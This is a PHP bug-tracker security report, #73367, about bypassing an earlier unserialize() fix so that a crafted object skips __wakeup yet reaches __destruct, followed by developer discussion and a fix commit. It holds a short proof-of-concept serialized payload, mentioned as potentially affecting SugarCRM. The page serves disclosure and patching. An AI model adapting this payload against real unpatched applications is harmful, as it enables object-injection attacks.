php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login

go to bug id or search bugs for

Sec Bug #73367 Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization
Submitted: 2016-10-21 15:52 UTC Modified: 2017-01-16 11:36 UTC
From: taoguangchen at icloud dot com Assigned: nikic (profile)
Status: Closed Package: *General Issues
PHP Version: 5.6.27 OS:
Private report: No CVE-ID: None
View Developer Edit
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2016-10-21 15:52 UTC] taoguangchen at icloud dot com 
Description:
------------
The fix for bug#72663 can be bypass, which can result in call to the broken-object's __destruct(). It is possible to lead to security issues in some real apps, ex SugarCRM.

PoC:
```
<?php

class obj {
	var $ryat;
	function __wakeup() {
		$this->ryat = null;
		throw new Exception("Not a serializable object");
	}
	function __destruct() {
		if ($this->ryat == 1) {
			var_dump('dtor!');
		}
	}
}

$poc = 'O:3:"obj":2:{s:4:"ryat";i:1;i:0;O:3:"obj":1:{s:4:"ryat";R:1;}}';
unserialize($poc);

?>
```

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-10-21 16:04 UTC] taoguangchen at icloud dot com 
Fix:

Set destructor_called to 1 before call to process_nested_data, after call ends then set destructor_called to 0.
 [2016-11-05 22:32 UTC] nikic@php.net 
Setting destructor_called beforehand may fix the symptom, but I don't think this solves the underlying issue (at least for PHP 7). The problem as I understand it, is that we currently do not guarantee that the object we call __wakeup on is live for the duration of the call. For example, if instead we use

    function __wakeup() {
        $this->ryat = null;
        $this->foo = 'bar'; // XXX
    }

then the XXX line will access a $this that no longer exists. We usually avoid such issues by performing magic calls on a temporary copy of the object, see for example https://github.com/php/php-src/blob/6e1534a4e4a771d4293c030630f41efebf72cbd9/Zend/zend_object_handlers.c#L632 for __get(). I think we should do the same here, i.e. add an extra ZVAL_COPY + zval_ptr_dtor around the call. This will also ensure the object exists long enough for use to set the dtor failure flag.
 [2017-01-16 08:09 UTC] stas@php.net
-Assigned To: +Assigned To: nikic
 [2017-01-16 11:36 UTC] nikic@php.net
-Status: Assigned +Status: Closed
 [2017-01-16 11:36 UTC] nikic@php.net 
This issue has been fixed as part of https://github.com/php/php-src/commit/0426b916df396a23e5c34514e4f2f0627efdcdf0.
 
PHP Copyright © 2001-2025 The PHP Group
All rights reserved. 		Last updated: Wed Jul 02 10:01:38 2025 UTC